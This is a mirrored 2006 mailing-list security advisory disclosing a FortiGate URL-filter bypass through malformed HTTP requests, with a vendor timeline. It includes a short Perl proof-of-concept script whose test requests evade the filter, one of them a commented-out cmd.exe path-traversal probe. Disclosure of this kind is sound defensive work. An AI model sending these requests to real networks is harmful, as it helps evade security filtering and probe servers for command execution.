|
|
|
>>
VUPEN Security / Public Mailing Lists Mirror |
Assigned : VUPEN/ADV-2006-0539
From : Mathieu Dessus <mdessus at gmail.com>
Subject : URL filter bypass in Fortinet
Date : 2006-02-13
Original Message
URL filter bypass in Fortinet
Severity: Low
Impact: Bypass Fortinet web filter
Vulnerabilty type: Design error
Affected products: FortiGate v2.8
CVE reference: CAN-2005-3058
Vulnerability Description:
-------------------------
It is possible to bypass Fortinet URL blocker by making special HTTP reques=
ts:
- if each line of the request is terminated by CR instead of CRLF
- if there's no host field in HTTP/1.0 request
Theses request are "tolerated" by the HTTP RFC 2616, par. 19.3, and most of
the web servers replyes to them, however, Fortinet failed to parse such URL=
s.
This bug was tested on FortiOS v2.8MR10 and v3beta.
The IPS module is not affected by this vulnerabylity.
Exploit:
-------
See the perl scrip below.
Solution:
--------
No solution available yet.
Vendor Response:
---------------
08/11/2005 The vendor was contacted (using support web site), and a
perl script for reproducting the problem was provided
08/16/2005 The vendor asked for more information
08/18/2005 Network dumps and explanations sent to the vendor
08/25/2005 The vendor said this this was escalated to the dev team.
01/04/2006 Status asked to the vendor.
02/06/2006 The vendor was informed that this information will be
published in 1 week.
Credits:
-------
Discovered by Mathieu Dessus (mdessus(a)gmail.com).
_____________________
Perl script for testing the vuln:
# http_req.pl
#
# Made by (Mathieu Dessus)
#
# Make a filter for /test* URL in the Fortigate and
# remove the # depending on which HTTP request you want to test
use IO::Socket;
$target = '1.2.3.4';
# Detected
$data = "GET /test HTTP/1.1\r
Host: $target\r
Pragma: no-cache\r
Accept: */*\r
\r
";
# Not detected
$data = "GET /test2 HTTP/1.1
Host: $target
Pragma: no-cache
Accept: */*
";
# Not detected
$data = "GET /test3 HTTP/1.0\r\n\r\n";
# Detected
#$data = "GET /test4 HTTP/1.0\r\nHost: $target\r\n\r\n";
# Detected :)
#$data = "GET //c/winnt/system32/cmd.exe?/c+dir HTTP/1.0\n\n";
my $sock = new IO::Socket::INET (
PeerAddr => $target,
PeerPort => '80',
Proto => 'tcp',
);
die "Could not create socket: $!\n" unless $sock;
print $sock $data;
read($sock, $ret, 600);
print($ret."\n");
close($sock);
Disclaimer : VUPEN Security does not endorse the content of this
message submitted by others to public mailinglists. Messages submitted to public
mailinglists do not necessarily reflect the opinions or policies of VUPEN Security.
VUPEN Security makes no warranties, express or implied, as to the content of the message
in this page or the accuracy and reliability of any messages and other materials
submitted to public mailinglists. Any questions or comments regarding this page
should be sent to
team@vupen.com
|
|
|
|
|
|
Monthly Statistics |
 |
|
|
|
| |
|
Try VUPEN
VNS |
 |
|
 |
|
| |
|
 |
| |
|
|
|
|
